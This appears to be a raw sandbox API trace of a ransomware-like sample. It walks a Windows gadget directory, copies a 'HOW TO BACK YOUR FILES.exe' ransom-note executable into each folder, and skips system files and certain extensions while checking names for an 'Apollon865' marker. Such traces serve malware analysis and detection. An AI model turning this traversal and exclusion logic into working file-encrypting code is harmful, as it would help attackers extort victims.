	[0051.997] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget" | out: lpString1="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget") returned="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget"
	[0051.997] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0051.997] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\currency.gadget\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0052.016] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0052.016] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x3711bad0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3711bad0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca190
	[0052.016] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.016] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0052.016] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0052.016] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x3711bad0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3711bad0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0052.016] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.016] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0052.016] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0052.016] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0052.016] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcbcdf03, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbcbcdf03, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbb6510fc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x406b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="drag.png", cAlternateFileName="")) returned 1
	[0052.016] lstrcmpiW (lpString1="drag.png", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.016] lstrcmpiW (lpString1="drag.png", lpString2="Apollon865.txt.exe") returned 1
	[0052.016] lstrcmpiW (lpString1="drag.png", lpString2=".") returned 1
	[0052.016] lstrcmpiW (lpString1="drag.png", lpString2="..") returned 1
	[0052.016] lstrcmpiW (lpString1="drag.png", lpString2="windows") returned -1
	[0052.017] lstrcmpiW (lpString1="drag.png", lpString2="bootmgr") returned 1
	[0052.017] lstrcmpiW (lpString1="drag.png", lpString2="temp") returned -1
	[0052.017] lstrcmpiW (lpString1="drag.png", lpString2="pagefile.sys") returned -1
	[0052.017] lstrcmpiW (lpString1="drag.png", lpString2="boot") returned 1
	[0052.017] lstrcmpiW (lpString1="drag.png", lpString2="ids.txt") returned -1
	[0052.017] lstrcmpiW (lpString1="drag.png", lpString2="ntuser.dat") returned -1
	[0052.017] lstrcmpiW (lpString1="drag.png", lpString2="perflogs") returned -1
	[0052.017] lstrcmpiW (lpString1="drag.png", lpString2="MSBuild") returned -1
	[0052.017] lstrlenW (lpString="drag.png") returned 8
	[0052.017] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\*") returned 64
	[0052.017] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="drag.png" | out: lpString1="drag.png") returned="drag.png"
	[0052.017] lstrlenW (lpString="drag.png") returned 8
	[0052.017] lstrlenW (lpString="Apollon865") returned 10
	[0052.017] lstrlenW (lpString=".dll") returned 4
	[0052.017] lstrcmpiW (lpString1="drag.png", lpString2=".dll") returned 1
	[0052.017] lstrlenW (lpString=".lnk") returned 4
	[0052.017] lstrcmpiW (lpString1="drag.png", lpString2=".lnk") returned 1
	[0052.017] lstrlenW (lpString=".ini") returned 4
	[0052.017] lstrcmpiW (lpString1="drag.png", lpString2=".ini") returned 1
	[0052.017] lstrlenW (lpString=".sys") returned 4
	[0052.017] lstrcmpiW (lpString1="drag.png", lpString2=".sys") returned 1
	[0052.017] lstrlenW (lpString="drag.png") returned 8
	[0052.017] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="en-US" | out: lpString1="en-US") returned="en-US"
	[0052.017] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ca8
	[0052.017] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x8a) returned 0x5994c0
	[0052.017] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7cb0 | out: ListHead=0x5b76b0, ListEntry=0x5b7cb0) returned 0x59fc90
	[0052.017] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3711bad0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3711bad0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0052.017] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0052.017] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb67725c, ftCreationTime.dwHighDateTime=0x1c9ea13, ftLastAccessTime.dwLowDateTime=0xbb67725c, ftLastAccessTime.dwHighDateTime=0x1c9ea13, ftLastWriteTime.dwLowDateTime=0xbb67725c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1ae9, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="icon.png", cAlternateFileName="")) returned 1
	[0052.017] lstrcmpiW (lpString1="icon.png", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0052.017] lstrcmpiW (lpString1="icon.png", lpString2="Apollon865.txt.exe") returned 1
	[0052.018] lstrcmpiW (lpString1="icon.png", lpString2=".") returned 1
	[0052.018] lstrcmpiW (lpString1="icon.png", lpString2="..") returned 1
	[0052.018] lstrcmpiW (lpString1="icon.png", lpString2="windows") returned -1
	[0052.018] lstrcmpiW (lpString1="icon.png", lpString2="bootmgr") returned 1
	[0052.018] lstrcmpiW (lpString1="icon.png", lpString2="temp") returned -1
	[0052.018] lstrcmpiW (lpString1="icon.png", lpString2="pagefile.sys") returned -1
	[0052.018] lstrcmpiW (lpString1="icon.png", lpString2="boot") returned 1
	[0052.018] lstrcmpiW (lpString1="icon.png", lpString2="ids.txt") returned -1
	[0052.018] lstrcmpiW (lpString1="icon.png", lpString2="ntuser.dat") returned -1
	[0052.018] lstrcmpiW (lpString1="icon.png", lpString2="perflogs") returned -1
	[0052.018] lstrcmpiW (lpString1="icon.png", lpString2="MSBuild") returned -1
	[0052.018] lstrlenW (lpString="icon.png") returned 8
	[0052.018] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US") returned 68
	[0052.018] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="icon.png" | out: lpString1="icon.png") returned="icon.png"
	[0052.018] lstrlenW (lpString="icon.png") returned 8
	[0052.018] lstrlenW (lpString="Apollon865") returned 10
	[0052.018] lstrlenW (lpString=".dll") returned 4
	[0052.018] lstrcmpiW (lpString1="icon.png", lpString2=".dll") returned 1
	[0052.018] lstrlenW (lpString=".lnk") returned 4
	[0052.018] lstrcmpiW (lpString1="icon.png", lpString2=".lnk") returned 1
	[0052.018] lstrlenW (lpString=".ini") returned 4
	[0052.018] lstrcmpiW (lpString1="icon.png", lpString2=".ini") returned 1
	[0052.018] lstrlenW (lpString=".sys") returned 4
	[0052.018] lstrcmpiW (lpString1="icon.png", lpString2=".sys") returned 1
	[0052.018] lstrlenW (lpString="icon.png") returned 8
	[0052.018] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="images" | out: lpString1="images") returned="images"
	[0052.018] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ae8
	[0052.018] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x8c) returned 0x599558
	[0052.018] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7af0 | out: ListHead=0x5b76b0, ListEntry=0x5b7af0) returned 0x5b7cb0
	[0052.018] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcba7da4, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbcba7da4, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbb8d885c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x172a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 1
	[0052.018] lstrcmpiW (lpString1="logo.png", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0052.018] lstrcmpiW (lpString1="logo.png", lpString2="Apollon865.txt.exe") returned 1
	[0052.019] lstrcmpiW (lpString1="logo.png", lpString2=".") returned 1
	[0052.019] lstrcmpiW (lpString1="logo.png", lpString2="..") returned 1
	[0052.019] lstrcmpiW (lpString1="logo.png", lpString2="windows") returned -1
	[0052.019] lstrcmpiW (lpString1="logo.png", lpString2="bootmgr") returned 1
	[0052.019] lstrcmpiW (lpString1="logo.png", lpString2="temp") returned -1
	[0052.019] lstrcmpiW (lpString1="logo.png", lpString2="pagefile.sys") returned -1
	[0052.019] lstrcmpiW (lpString1="logo.png", lpString2="boot") returned 1
	[0052.019] lstrcmpiW (lpString1="logo.png", lpString2="ids.txt") returned 1
	[0052.019] lstrcmpiW (lpString1="logo.png", lpString2="ntuser.dat") returned -1
	[0052.019] lstrcmpiW (lpString1="logo.png", lpString2="perflogs") returned -1
	[0052.019] lstrcmpiW (lpString1="logo.png", lpString2="MSBuild") returned -1
	[0052.019] lstrlenW (lpString="logo.png") returned 8
	[0052.019] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images") returned 69
	[0052.019] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="logo.png" | out: lpString1="logo.png") returned="logo.png"
	[0052.019] lstrlenW (lpString="logo.png") returned 8
	[0052.019] lstrlenW (lpString="Apollon865") returned 10
	[0052.019] lstrlenW (lpString=".dll") returned 4
	[0052.019] lstrcmpiW (lpString1="logo.png", lpString2=".dll") returned 1
	[0052.019] lstrlenW (lpString=".lnk") returned 4
	[0052.019] lstrcmpiW (lpString1="logo.png", lpString2=".lnk") returned 1
	[0052.019] lstrlenW (lpString=".ini") returned 4
	[0052.019] lstrcmpiW (lpString1="logo.png", lpString2=".ini") returned 1
	[0052.019] lstrlenW (lpString=".sys") returned 4
	[0052.019] lstrcmpiW (lpString1="logo.png", lpString2=".sys") returned 1
	[0052.019] lstrlenW (lpString="logo.png") returned 8
	[0052.019] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images") returned="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images"
	[0052.019] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599558 | out: hHeap=0x580000) returned 1
	[0052.019] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ae8 | out: hHeap=0x580000) returned 1
	[0052.019] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images") returned 69
	[0052.019] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images" | out: lpString1="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images") returned="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images"
	[0052.019] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0052.019] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\currency.gadget\\images\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0052.024] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0052.025] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x37141c30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x37141c30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca190
	[0052.025] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.025] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0052.025] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0052.025] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x37141c30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x37141c30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0052.025] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.025] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0052.025] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0052.025] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0052.025] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb8048a8, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbb8048a8, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbb67725c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x3129, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="activity16v.png", cAlternateFileName="")) returned 1
	[0052.025] lstrcmpiW (lpString1="activity16v.png", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.025] lstrcmpiW (lpString1="activity16v.png", lpString2="Apollon865.txt.exe") returned -1
	[0052.025] lstrcmpiW (lpString1="activity16v.png", lpString2=".") returned 1
	[0052.025] lstrcmpiW (lpString1="activity16v.png", lpString2="..") returned 1
	[0052.025] lstrcmpiW (lpString1="activity16v.png", lpString2="windows") returned -1
	[0052.025] lstrcmpiW (lpString1="activity16v.png", lpString2="bootmgr") returned -1
	[0052.025] lstrcmpiW (lpString1="activity16v.png", lpString2="temp") returned -1
	[0052.025] lstrcmpiW (lpString1="activity16v.png", lpString2="pagefile.sys") returned -1
	[0052.025] lstrcmpiW (lpString1="activity16v.png", lpString2="boot") returned -1
	[0052.025] lstrcmpiW (lpString1="activity16v.png", lpString2="ids.txt") returned -1
	[0052.025] lstrcmpiW (lpString1="activity16v.png", lpString2="ntuser.dat") returned -1
	[0052.025] lstrcmpiW (lpString1="activity16v.png", lpString2="perflogs") returned -1
	[0052.025] lstrcmpiW (lpString1="activity16v.png", lpString2="MSBuild") returned -1
	[0052.025] lstrlenW (lpString="activity16v.png") returned 15
	[0052.025] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\*") returned 71
	[0052.025] lstrcpyW (in: lpString1=0x2d3e5dc, lpString2="activity16v.png" | out: lpString1="activity16v.png") returned="activity16v.png"
	[0052.025] lstrlenW (lpString="activity16v.png") returned 15
	[0052.025] lstrlenW (lpString="Apollon865") returned 10
	[0052.025] lstrcmpiW (lpString1="ity16v.png", lpString2="Apollon865") returned 1
	[0052.025] lstrlenW (lpString=".dll") returned 4
	[0052.026] lstrcmpiW (lpString1="activity16v.png", lpString2=".dll") returned 1
	[0052.026] lstrlenW (lpString=".lnk") returned 4
	[0052.026] lstrcmpiW (lpString1="activity16v.png", lpString2=".lnk") returned 1
	[0052.026] lstrlenW (lpString=".ini") returned 4
	[0052.026] lstrcmpiW (lpString1="activity16v.png", lpString2=".ini") returned 1
	[0052.026] lstrlenW (lpString=".sys") returned 4
	[0052.026] lstrcmpiW (lpString1="activity16v.png", lpString2=".sys") returned 1
	[0052.026] lstrlenW (lpString="activity16v.png") returned 15
	[0052.026] lstrcpyW (in: lpString1=0x2d3e5dc, lpString2="add_down.png" | out: lpString1="add_down.png") returned="add_down.png"
	[0052.026] lstrlenW (lpString="add_down.png") returned 12
	[0052.026] lstrlenW (lpString="Apollon865") returned 10
	[0052.026] lstrcmpiW (lpString1="d_down.png", lpString2="Apollon865") returned 1
	[0052.026] lstrlenW (lpString=".dll") returned 4
	[0052.026] lstrcmpiW (lpString1="add_down.png", lpString2=".dll") returned 1
	[0052.026] lstrlenW (lpString=".lnk") returned 4
	[0052.026] lstrcmpiW (lpString1="add_down.png", lpString2=".lnk") returned 1
	[0052.026] lstrlenW (lpString=".ini") returned 4
	[0052.026] lstrcmpiW (lpString1="add_down.png", lpString2=".ini") returned 1
	[0052.026] lstrlenW (lpString=".sys") returned 4
	[0052.026] lstrcmpiW (lpString1="add_down.png", lpString2=".sys") returned 1
	[0052.026] lstrlenW (lpString="add_down.png") returned 12
	[0052.026] lstrcpyW (in: lpString1=0x2d3e5dc, lpString2="add_over.png" | out: lpString1="add_over.png") returned="add_over.png"
	[0052.026] lstrlenW (lpString="add_over.png") returned 12
	[0052.026] lstrlenW (lpString="Apollon865") returned 10
	[0052.026] lstrcmpiW (lpString1="d_over.png", lpString2="Apollon865") returned 1
	[0052.026] lstrlenW (lpString=".dll") returned 4
	[0052.026] lstrcmpiW (lpString1="add_over.png", lpString2=".dll") returned 1
	[0052.026] lstrlenW (lpString=".lnk") returned 4
	[0052.026] lstrcmpiW (lpString1="add_over.png", lpString2=".lnk") returned 1
	[0052.027] lstrlenW (lpString=".ini") returned 4
	[0052.027] lstrcmpiW (lpString1="add_over.png", lpString2=".ini") returned 1
	[0052.027] lstrlenW (lpString=".sys") returned 4
	[0052.027] lstrcmpiW (lpString1="add_over.png", lpString2=".sys") returned 1
	[0052.027] lstrlenW (lpString="add_over.png") returned 12
	[0052.027] lstrcpyW (in: lpString1=0x2d3e5dc, lpString2="add_up.png" | out: lpString1="add_up.png") returned="add_up.png"
	[0052.027] lstrlenW (lpString="add_up.png") returned 10
	[0052.027] lstrlenW (lpString="Apollon865") returned 10
	[0052.027] lstrlenW (lpString=".dll") returned 4
	[0052.027] lstrcmpiW (lpString1="add_up.png", lpString2=".dll") returned 1
	[0052.027] lstrlenW (lpString=".lnk") returned 4
	[0052.027] lstrcmpiW (lpString1="add_up.png", lpString2=".lnk") returned 1
	[0052.027] lstrlenW (lpString=".ini") returned 4
	[0052.027] lstrcmpiW (lpString1="add_up.png", lpString2=".ini") returned 1
	[0052.027] lstrlenW (lpString=".sys") returned 4
	[0052.027] lstrcmpiW (lpString1="add_up.png", lpString2=".sys") returned 1
	[0052.027] lstrlenW (lpString="add_up.png") returned 10
	[0052.027] lstrcpyW (in: lpString1=0x2d3e5dc, lpString2="base-docked.png" | out: lpString1="base-docked.png") returned="base-docked.png"
	[0052.027] lstrlenW (lpString="base-docked.png") returned 15
	[0052.027] lstrlenW (lpString="Apollon865") returned 10
	[0052.027] lstrcmpiW (lpString1="docked.png", lpString2="Apollon865") returned 1
	[0052.027] lstrlenW (lpString=".dll") returned 4
	[0052.027] lstrcmpiW (lpString1="base-docked.png", lpString2=".dll") returned 1
	[0052.027] lstrlenW (lpString=".lnk") returned 4
	[0052.027] lstrcmpiW (lpString1="base-docked.png", lpString2=".lnk") returned 1
	[0052.027] lstrlenW (lpString=".ini") returned 4
	[0052.028] lstrcmpiW (lpString1="base-docked.png", lpString2=".ini") returned 1
	[0052.028] lstrlenW (lpString=".sys") returned 4
	[0052.028] lstrcmpiW (lpString1="base-docked.png", lpString2=".sys") returned 1
	[0052.028] lstrlenW (lpString="base-docked.png") returned 15
	[0052.028] lstrcpyW (in: lpString1=0x2d3e5dc, lpString2="base-undocked-2.png" | out: lpString1="base-undocked-2.png") returned="base-undocked-2.png"
	[0052.028] lstrlenW (lpString="base-undocked-2.png") returned 19
	[0052.028] lstrlenW (lpString="Apollon865") returned 10
	[0052.028] lstrcmpiW (lpString1="cked-2.png", lpString2="Apollon865") returned 1
	[0052.028] lstrlenW (lpString=".dll") returned 4
	[0052.028] lstrcmpiW (lpString1="base-undocked-2.png", lpString2=".dll") returned 1
	[0052.028] lstrlenW (lpString=".lnk") returned 4
	[0052.028] lstrcmpiW (lpString1="base-undocked-2.png", lpString2=".lnk") returned 1
	[0052.028] lstrlenW (lpString=".ini") returned 4
	[0052.028] lstrcmpiW (lpString1="base-undocked-2.png", lpString2=".ini") returned 1
	[0052.028] lstrlenW (lpString=".sys") returned 4
	[0052.028] lstrcmpiW (lpString1="base-undocked-2.png", lpString2=".sys") returned 1
	[0052.028] lstrlenW (lpString="base-undocked-2.png") returned 19
	[0052.028] lstrcpyW (in: lpString1=0x2d3e5dc, lpString2="base-undocked-3.png" | out: lpString1="base-undocked-3.png") returned="base-undocked-3.png"
	[0052.028] lstrlenW (lpString="base-undocked-3.png") returned 19
	[0052.028] lstrlenW (lpString="Apollon865") returned 10
	[0052.028] lstrcmpiW (lpString1="cked-3.png", lpString2="Apollon865") returned 1
	[0052.028] lstrlenW (lpString=".dll") returned 4
	[0052.028] lstrcmpiW (lpString1="base-undocked-3.png", lpString2=".dll") returned 1
	[0052.028] lstrlenW (lpString=".lnk") returned 4
	[0052.028] lstrcmpiW (lpString1="base-undocked-3.png", lpString2=".lnk") returned 1
	[0052.028] lstrlenW (lpString=".ini") returned 4
	[0052.028] lstrcmpiW (lpString1="base-undocked-3.png", lpString2=".ini") returned 1
	[0052.028] lstrlenW (lpString=".sys") returned 4
	[0052.028] lstrcmpiW (lpString1="base-undocked-3.png", lpString2=".sys") returned 1
	[0052.028] lstrlenW (lpString="base-undocked-3.png") returned 19
	[0052.028] lstrcpyW (in: lpString1=0x2d3e5dc, lpString2="base-undocked-4.png" | out: lpString1="base-undocked-4.png") returned="base-undocked-4.png"
	[0052.029] lstrlenW (lpString="base-undocked-4.png") returned 19
	[0052.029] lstrlenW (lpString="Apollon865") returned 10
	[0052.029] lstrcmpiW (lpString1="cked-4.png", lpString2="Apollon865") returned 1
	[0052.029] lstrlenW (lpString=".dll") returned 4
	[0052.029] lstrcmpiW (lpString1="base-undocked-4.png", lpString2=".dll") returned 1
	[0052.029] lstrlenW (lpString=".lnk") returned 4
	[0052.029] lstrcmpiW (lpString1="base-undocked-4.png", lpString2=".lnk") returned 1
	[0052.029] lstrlenW (lpString=".ini") returned 4
	[0052.029] lstrcmpiW (lpString1="base-undocked-4.png", lpString2=".ini") returned 1
	[0052.029] lstrlenW (lpString=".sys") returned 4
	[0052.029] lstrcmpiW (lpString1="base-undocked-4.png", lpString2=".sys") returned 1
	[0052.029] lstrlenW (lpString="base-undocked-4.png") returned 19
	[0052.029] lstrcpyW (in: lpString1=0x2d3e5dc, lpString2="combo-hover-left.png" | out: lpString1="combo-hover-left.png") returned="combo-hover-left.png"
	[0052.029] lstrlenW (lpString="combo-hover-left.png") returned 20
	[0052.029] lstrlenW (lpString="Apollon865") returned 10
	[0052.029] lstrcmpiW (lpString1="r-left.png", lpString2="Apollon865") returned 1
	[0052.029] lstrlenW (lpString=".dll") returned 4
	[0052.029] lstrcmpiW (lpString1="combo-hover-left.png", lpString2=".dll") returned 1
	[0052.029] lstrlenW (lpString=".lnk") returned 4
	[0052.029] lstrcmpiW (lpString1="combo-hover-left.png", lpString2=".lnk") returned 1
	[0052.029] lstrlenW (lpString=".ini") returned 4
	[0052.029] lstrcmpiW (lpString1="combo-hover-left.png", lpString2=".ini") returned 1
	[0052.029] lstrlenW (lpString=".sys") returned 4
	[0052.029] lstrcmpiW (lpString1="combo-hover-left.png", lpString2=".sys") returned 1
	[0052.029] lstrlenW (lpString="combo-hover-left.png") returned 20
	[0052.029] lstrcpyW (in: lpString1=0x2d3e5dc, lpString2="combo-hover-middle.png" | out: lpString1="combo-hover-middle.png") returned="combo-hover-middle.png"
	[0052.029] lstrlenW (lpString="combo-hover-middle.png") returned 22
	[0052.029] lstrlenW (lpString="Apollon865") returned 10
	[0052.029] lstrcmpiW (lpString1="middle.png", lpString2="Apollon865") returned 1
	[0052.029] lstrlenW (lpString=".dll") returned 4
	[0052.029] lstrcmpiW (lpString1="combo-hover-middle.png", lpString2=".dll") returned 1
	[0052.029] lstrlenW (lpString=".lnk") returned 4
	[0052.030] lstrcmpiW (lpString1="combo-hover-middle.png", lpString2=".lnk") returned 1
	[0052.030] lstrlenW (lpString=".ini") returned 4
	[0052.030] lstrcmpiW (lpString1="combo-hover-middle.png", lpString2=".ini") returned 1
	[0052.030] lstrlenW (lpString=".sys") returned 4
	[0052.030] lstrcmpiW (lpString1="combo-hover-middle.png", lpString2=".sys") returned 1
	[0052.030] lstrlenW (lpString="combo-hover-middle.png") returned 22
	[0052.030] lstrcpyW (in: lpString1=0x2d3e5dc, lpString2="combo-hover-right.png" | out: lpString1="combo-hover-right.png") returned="combo-hover-right.png"
	[0052.030] lstrlenW (lpString="combo-hover-right.png") returned 21
	[0052.030] lstrlenW (lpString="Apollon865") returned 10
	[0052.030] lstrcmpiW (lpString1="-right.png", lpString2="Apollon865") returned 1
	[0052.030] lstrlenW (lpString=".dll") returned 4
	[0052.030] lstrcmpiW (lpString1="combo-hover-right.png", lpString2=".dll") returned 1
	[0052.030] lstrlenW (lpString=".lnk") returned 4
	[0052.030] lstrcmpiW (lpString1="combo-hover-right.png", lpString2=".lnk") returned 1
	[0052.030] lstrlenW (lpString=".ini") returned 4
	[0052.030] lstrcmpiW (lpString1="combo-hover-right.png", lpString2=".ini") returned 1
	[0052.030] lstrlenW (lpString=".sys") returned 4
	[0052.030] lstrcmpiW (lpString1="combo-hover-right.png", lpString2=".sys") returned 1
	[0052.030] lstrlenW (lpString="combo-hover-right.png") returned 21
	[0052.030] lstrcpyW (in: lpString1=0x2d3e5dc, lpString2="delete_down.png" | out: lpString1="delete_down.png") returned="delete_down.png"
	[0052.030] lstrlenW (lpString="delete_down.png") returned 15
	[0052.030] lstrlenW (lpString="Apollon865") returned 10
